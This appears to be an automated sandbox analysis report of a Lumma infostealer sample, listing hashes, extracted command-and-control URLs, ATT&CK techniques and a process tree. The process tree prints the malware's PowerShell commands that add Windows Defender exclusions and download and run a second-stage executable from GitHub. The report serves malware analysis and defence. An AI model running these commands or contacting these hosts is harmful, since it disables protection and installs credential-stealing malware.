lumma | 1193157e2a338dbe8d057b125d36fffd2c05be694c1bfdaaf49d52e30bd08ebd

Analysis

max time kernel
94s
max time network
144s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
11/03/2025, 16:14

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General

Target
coderoom-main/ntohlasdlrg.exe
Size 363KB
Sample250311-tp2gvsxpv2
SHA256 cfb21d5e810fd19a459bb7f099ce1095c8811cf0674e4d7940f6ca2d29593a9f
MD5 fbc3147905f3dad4828a8f0fe07b557d
SHA1 46f73ab06c67a4214e8ceced910cf4ca618a5b6b
SHA512 8c82e6e3ea07403ce7cddb110df26c7388caa52088e4699b530615a87f45053f7687b0045b4ee4c870ee83b9820631059c34dfa8b58d53283d5c4e2617789ff2
SSDEEP 6144:NvnDvkb760jsiLwHwMGeOypBUK/4q6Pt236RttQyjBjz3J+AOza+eHpLipm:VnDv50ATwreGE6k3MtQkz3II+26
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

lumma discovery execution spyware stealer

Malware Config

Extracted

Family

lumma

https://mrodularmall.top/api
https://featureccus.shop/api
https://jowinjoinery.icu/api
https://flegenassedk.top/api
https://-htardwarehu.icu/api
https://cjlaspcorne.icu/api
https://bugildbett.top/api
https://latchclan.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	5556	powershell.exe
25	5556	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5536	powershell.exe
5556	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
14	3348	ntohlasdlrg.exe
25	5556	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1252571373-3012572919-3982031544-1000\Control Panel\International\Geo\Nation	ntohlasdlrg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1252571373-3012572919-3982031544-1000\Control Panel\International\Geo\Nation	2601.tmp.exe

Executes dropped EXE 2 IoCs

pid	Process
4900	2601.tmp.exe
4800	downloaded_file.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	raw.githubusercontent.com
25	raw.githubusercontent.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4800	downloaded_file.exe
4800	downloaded_file.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ntohlasdlrg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaded_file.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5536	powershell.exe
5536	powershell.exe
5556	powershell.exe
5556	powershell.exe
4800	downloaded_file.exe
4800	downloaded_file.exe
4800	downloaded_file.exe
4800	downloaded_file.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5536	powershell.exe
Token: SeIncreaseQuotaPrivilege	5536	powershell.exe
Token: SeSecurityPrivilege	5536	powershell.exe
Token: SeTakeOwnershipPrivilege	5536	powershell.exe
Token: SeLoadDriverPrivilege	5536	powershell.exe
Token: SeSystemProfilePrivilege	5536	powershell.exe
Token: SeSystemtimePrivilege	5536	powershell.exe
Token: SeProfSingleProcessPrivilege	5536	powershell.exe
Token: SeIncBasePriorityPrivilege	5536	powershell.exe
Token: SeCreatePagefilePrivilege	5536	powershell.exe
Token: SeBackupPrivilege	5536	powershell.exe
Token: SeRestorePrivilege	5536	powershell.exe
Token: SeShutdownPrivilege	5536	powershell.exe
Token: SeDebugPrivilege	5536	powershell.exe
Token: SeSystemEnvironmentPrivilege	5536	powershell.exe
Token: SeRemoteShutdownPrivilege	5536	powershell.exe
Token: SeUndockPrivilege	5536	powershell.exe
Token: SeManageVolumePrivilege	5536	powershell.exe
Token: 33	5536	powershell.exe
Token: 34	5536	powershell.exe
Token: 35	5536	powershell.exe
Token: 36	5536	powershell.exe
Token: SeDebugPrivilege	5556	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3348	ntohlasdlrg.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3348	ntohlasdlrg.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4800	downloaded_file.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 4900	3348	ntohlasdlrg.exe	84
PID 3348 wrote to memory of 4900	3348	ntohlasdlrg.exe	84
PID 4900 wrote to memory of 1620	4900	2601.tmp.exe	91
PID 4900 wrote to memory of 1620	4900	2601.tmp.exe	91
PID 1620 wrote to memory of 5536	1620	cmd.exe	92
PID 1620 wrote to memory of 5536	1620	cmd.exe	92
PID 4900 wrote to memory of 4952	4900	2601.tmp.exe	95
PID 4900 wrote to memory of 4952	4900	2601.tmp.exe	95
PID 4952 wrote to memory of 5556	4952	cmd.exe	96
PID 4952 wrote to memory of 5556	4952	cmd.exe	96
PID 4900 wrote to memory of 4800	4900	2601.tmp.exe	98
PID 4900 wrote to memory of 4800	4900	2601.tmp.exe	98
PID 4900 wrote to memory of 4800	4900	2601.tmp.exe	98

C:\Users\Admin\AppData\Local\Temp\coderoom-main\ntohlasdlrg.exe
"C:\Users\Admin\AppData\Local\Temp\coderoom-main\ntohlasdlrg.exe"
1⤵
- Downloads MZ/PE file
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Users\Admin\AppData\Local\Temp\2601.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\2601.tmp.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\odcbpg', 'C:\Users', 'C:\ProgramData'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\odcbpg', 'C:\Users', 'C:\ProgramData'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\odcbpg\downloaded_file.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/vktyhkakwdrg.exe' -OutFile 'C:\odcbpg\downloaded_file.exe'"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5556
- - C:\odcbpg\downloaded_file.exe
    "C:\odcbpg\downloaded_file.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
MD5 3eb3833f769dd890afc295b977eab4b4
SHA1 e857649b037939602c72ad003e5d3698695f436f
SHA512 c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8a4e7eae00df2e789c958a38e78ac0b53f439afe2d5bfe8a81fb8c6e232b6491
MD5 d6d1b8bb34838ccf42d5f69e919b1612
SHA1 20e9df1f5dd5908ce1b537d158961e0b1674949e
SHA512 ff3ba5dc3cb548018747a315f098e01c5a6f8aee029223ef4080b3db76b0ecaa6a01a1c79e1434bdf2aa5b2ae66ec85d33e760064282411c7712fba890a0309d
MD5 SHA1 SHA512

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2601.tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\2601.tmp.exe
Size 314KB
SHA256 9a2163b925e9ba9aa6e17b0e6c813c36f0dbc3f2b8c6e74d1005553aca99e22c
MD5 c3f1f2f2c303a518b957c6daf9abe66f
SHA1 87e5aed6195fb9811ce40a006b8d757c3577a410
SHA512 651695405631daa70d79a45511795e244d86daa6b9982e561dc5eaa7db167307082d55b2d0b1a0650cbd250e01ff40ab97693b5a257c5d6757265ad1e2e2fccc
SSDEEP 6144:8bSFVgW+UVYjKBuukrcLcEX61KsU+/8UPuHle:8m+6YjKwrcLcOcF
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_12p2ktpj.2tw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_12p2ktpj.2tw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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downloaded_file.exe

Path C:\odcbpg\downloaded_file.exe
Size 1.3MB
SHA256 d5acf2451a1683b2e702f8da1dee3c0c908f6683b899e5ebe8b4614f1870a410
MD5 bc270342cd8a60fbcb34f401914fe1c4
SHA1 0f30f3e48550f1e1ebcb46d48c7d7a50499352b9
SHA512 42dfa739a610a7fe073256dfb1a52a517dc35989b5c40c631fbfbf36ba5307c2e9c84bd855f01b46d1ffa625214ea0d496f4337ee61d38cbcd1e46be7b5005d4
SSDEEP 24576:3AECXHcTq2XPHhxRX1PVUZli+wa2iMQXU4TL+sNgC6BvRNFE4Fe3EknBrxgXf:wEC33Yrqq+FXRToC6fNV43Eknvi
MD5 SHA1 SHA512 SSDEEP

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memory/4800-52-0x0000000000CC0000-0x000000000108B000-memory.dmp

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memory/4800-53-0x0000000000CC0000-0x000000000108B000-memory.dmp

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memory/5536-30-0x00007FFC09270000-0x00007FFC09D32000-memory.dmp

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memory/5536-31-0x00007FFC09270000-0x00007FFC09D32000-memory.dmp

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memory/5536-32-0x00007FFC09270000-0x00007FFC09D32000-memory.dmp

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memory/5536-33-0x00007FFC09270000-0x00007FFC09D32000-memory.dmp

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memory/5536-36-0x00007FFC09270000-0x00007FFC09D32000-memory.dmp

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memory/5536-20-0x000001B0C3110000-0x000001B0C3132000-memory.dmp

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memory/5536-19-0x00007FFC09273000-0x00007FFC09275000-memory.dmp

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